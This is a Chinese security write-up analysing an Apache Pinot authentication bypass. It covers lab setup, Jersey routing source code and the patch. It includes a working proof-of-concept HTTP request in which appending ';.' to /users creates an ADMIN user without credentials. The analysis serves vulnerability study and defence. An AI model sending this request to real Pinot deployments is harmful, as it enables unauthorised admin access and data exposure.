首发于奇安信攻防社区 https://forum.butian.net/article/685

前言

前两天看到这条通告,一搜发现评分 9.8,于是分析一下具体怎么个事

https://www.openwall.com/lists/oss-security/2025/03/27/8

漏洞简介

Apache Pinot 是一个实时分布式的 OLAP 数据存储和分析系统。使用它实现低延迟可伸缩的实时分析。Pinot 从离线数据源(包括 Hadoop 和各类文件)和在线数据源(如 Kafka)中攫取数据进行分析。

Apache Pinot 存在身份认证绕过漏洞。如果路径不包含 / 且包含 .则不需要身份验证。

影响版本

Apache Pinot < 1.3

环境搭建

参考官方文档

https://docs.pinot.apache.org/basics/getting-started/running-pinot-in-docker

这里需要开启认证机制(文档给的命令是没开的),命令中设置 -type 参数为 auth 即可

1
2
3
4
5
6
7
8
docker run \
-p 2123:2123 \
-p 9000:9000 \
-p 8000:8000 \
-p 7050:7050 \
-p 6000:6000 \
apachepinot/pinot:1.2.0 QuickStart \
-type auth

如需调试可以用以下操作

首先启动容器,替换 entrypoint 命令为 /bin/bash

1
docker run -it -p 5005:5005 -p 2123:2123 -p 9000:9000 -p 8000:8000 -p 7050:7050 -p 6000:6000 --entrypoint /bin/bash apachepinot/pinot:1.2.0

然后自行手动启动,并添加调试的参数-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

1
/usr/lib/jvm/java-17-amazon-corretto/bin/java --add-opens=java.base/java.nio=ALL-UNNAMED --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED -Xms4G -Xmx4G -Dpinot.admin.system.exit=false -Dplugins.dir=/opt/pinot/plugins -classpath /opt/pinot/lib/*:/opt/pinot/plugins/pinot-stream-ingestion/pinot-pulsar/pinot-pulsar-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-stream-ingestion/pinot-kinesis/pinot-kinesis-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-stream-ingestion/pinot-kafka-2.0/pinot-kafka-2.0-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-batch-ingestion/pinot-batch-ingestion-standalone/pinot-batch-ingestion-standalone-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-minion-tasks/pinot-minion-builtin-tasks/pinot-minion-builtin-tasks-1.2.0.jar:/opt/pinot/plugins/pinot-segment-uploader/pinot-segment-uploader-default/pinot-segment-uploader-default-1.2.0.jar:/opt/pinot/plugins/pinot-segment-writer/pinot-segment-writer-file-based/pinot-segment-writer-file-based-1.2.0.jar:/opt/pinot/plugins/pinot-metrics/pinot-dropwizard/pinot-dropwizard-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-metrics/pinot-yammer/pinot-yammer-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-avro/pinot-avro-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-csv/pinot-csv-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-json/pinot-json-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-parquet/pinot-parquet-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-protobuf/pinot-protobuf-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-thrift/pinot-thrift-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-orc/pinot-orc-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-confluent-avro/pinot-confluent-avro-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-clp-log/pinot-clp-log-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-adls/pinot-adls-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-hdfs/pinot-hdfs-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-gcs/pinot-gcs-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-s3/pinot-s3-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-environment/pinot-azure/pinot-azure-1.2.0-shaded.jar -Dapp.name=pinot-admin -Dapp.pid=1 -Dapp.repo=/opt/pinot/lib -Dapp.home=/opt/pinot -Dbasedir=/opt/pinot -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 org.apache.pinot.tools.admin.PinotAdministrator QuickStart -type auth

img

访问 ip:9000 端口即可看到 Apache Pinot Controller 的认证页面

img

IDEA 远程调试的步骤这里不再赘述。

Apache Pinot 下载地址

https://pinot.apache.org/download/

漏洞复现

预期请求,未认证会响应 401

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /users HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
Accept: */*
Host:
Content-Length: 180

{
"username": "hack10",
"password": "hack",
"component": "CONTROLLER",
"role": "ADMIN",
"tables": [],
"permissions": [],
"usernameWithComponent": "hack_CONTROLLER"
}

img

构造如下 Poc 可成功绕过身份认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /users;. HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
Accept: */*
Host:
Content-Length: 180

{
"username": "hack10",
"password": "hack",
"component": "CONTROLLER",
"role": "ADMIN",
"tables": [],
"permissions": [],
"usernameWithComponent": "hack_CONTROLLER"
}

img

漏洞分析

主要关注 org.apache.pinot.controller.api 这个包

判断请求是否需要认证的方法为

org.apache.pinot.controller.api.access.AuthenticationFilter#filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void filter(ContainerRequestContext requestContext) throws IOException {
Request request = (Request)this._requestProvider.get();
Method endpointMethod = this._resourceInfo.getResourceMethod();
AccessControl accessControl = this._accessControlFactory.create();
String endpointUrl = request.getRequestURI().substring(request.getContextPath().length());
UriInfo uriInfo = requestContext.getUriInfo();
if (!isBaseFile(uriInfo.getPath()) && !UNPROTECTED_PATHS.contains(uriInfo.getPath())) {
if (!accessControl.protectAnnotatedOnly() || endpointMethod.isAnnotationPresent(Authenticate.class)) {
if (!endpointMethod.isAnnotationPresent(ManualAuthorization.class)) {
String tableName = extractTableName(uriInfo.getPathParameters(), uriInfo.getQueryParameters());
if (tableName != null) {
tableName = DatabaseUtils.translateTableName(tableName, this._httpHeaders);
}

AccessType accessType = this.extractAccessType(endpointMethod);
AccessControlUtils.validatePermission(tableName, accessType, this._httpHeaders, endpointUrl, accessControl);
FineGrainedAuthUtils.validateFineGrainedAuth(endpointMethod, uriInfo, this._httpHeaders, accessControl);
}
}
}
}

分析逻辑可以发现,这里的判断由两个因素组成,满足其中一个即可绕过认证,后者就是设置好的白名单,用于公共接口。

img

跟进org.apache.pinot.controller.api.access.AuthenticationFilter#isBaseFile

img

可以发现漏洞公告所提到的 “If the path does not contain / and contain . authentication is not required”。因此当这个函数返回为 True 时,filter 方法的 if 判断则为 false,即无需认证。

然后我们来看如何在必须包含.的情况下访问正常的接口,也就是让这个点号不影响我们路由的解析。参考这篇文章可以找到 Apache Pinot 用的这款RESTful框架 —— jersey 的路由解析的逻辑和相关源码

https://blog.csdn.net/qq_30062125/article/details/83758334

org.glassfish.jersey.server.internal.routing.RoutingStage#apply打上断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Stage.Continuation<RequestProcessingContext> apply(RequestProcessingContext context) {
ContainerRequest request = context.request();
context.triggerEvent(Type.MATCHING_START);
TracingLogger tracingLogger = TracingLogger.getInstance(request);
long timestamp = tracingLogger.timestamp(ServerTraceEvent.MATCH_SUMMARY);

Stage.Continuation var8;
try {
RoutingResult result = this._apply(context, this.routingRoot);
Stage<RequestProcessingContext> nextStage = null;
if (result.endpoint != null) {
context.routingContext().setEndpoint(result.endpoint);
nextStage = this.getDefaultNext();
}

var8 = Continuation.of(result.context, nextStage);
} finally {
tracingLogger.logDuration(ServerTraceEvent.MATCH_SUMMARY, timestamp, new Object[0]);
}

return var8;
}

可以看到这里使用了前缀匹配Type.MATCHING_START,然后继续调试跟进org.glassfish.jersey.server.internal.routing.RoutingStage#_apply

img

然后跟进org.glassfish.jersey.server.internal.routing.MatchResultInitializerRouter#apply,这个方法在初始化路由匹配信息

1
2
3
4
5
public Router.Continuation apply(RequestProcessingContext processingContext) {
RoutingContext rc = processingContext.routingContext();
rc.pushMatchResult(new SingleMatchResult("/" + processingContext.request().getPath(false)));
return Continuation.of(processingContext, this.rootRouter);
}

获取请求路径时参数为 false,即设置了不进行 url 解码,然后传入到 SingleMatchResult 类进行实例化

img

跟进 SingleMatchResult 类实例化的逻辑,可以发现这里对传入的路径进行了处理,简单说就是忽略 ;/之间的内容,包括;,如果 ;后面没有下一个/则忽略之后所有内容。例如 /aaa;bbb/cccc;dddd传入该函数后会返回 /aaa/ccc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public SingleMatchResult(String path) {
this.path = stripMatrixParams(path);
}

private static String stripMatrixParams(String path) {
int e = path.indexOf(59);
if (e == -1) {
return path;
} else {
int s = 0;
StringBuilder sb = new StringBuilder();

do {
sb.append(path, s, e);
s = path.indexOf(47, e + 1);
if (s == -1) {
break;
}

e = path.indexOf(59, s);
} while(e != -1);

if (s != -1) {
sb.append(path, s, path.length());
}

return sb.toString();
}
}

显然这里就是让路径中包含.号,而不影响路由解析的好办法。于是 Poc 中构造;.在正常接口后进行绕过认证机制。

然后给处理后的路径交给org.glassfish.jersey.server.internal.routing.PathMatchingRouter#apply匹配对应的路由规则,先匹配到 /.*这个规则

img

然后进一步匹配到/users(/)?这个规则

image

最终拿到对应的路由

img

补丁修复

img

可以看到这里给获取到的路径也用了路由匹配时的stripMatrixParams方法进行处理,使点号无所遁形,也就没法构造为满足条件的路径了

结语

分析完发现这个漏洞还是有点鸡肋,需要没有/,也就是说,只能像/aaa这样的路由才能绕过认证,而 /api/aaa这种就没法绕过(难道是有可以构造的方式吗)。而且这个添加用户后,用户有哪些权限呢?因为对这款产品了解不多,确实没看出来新增的用户能干嘛(希望有大佬可以解答)。不过至少获取敏感信息还是可以做到的

img

⬆︎TOP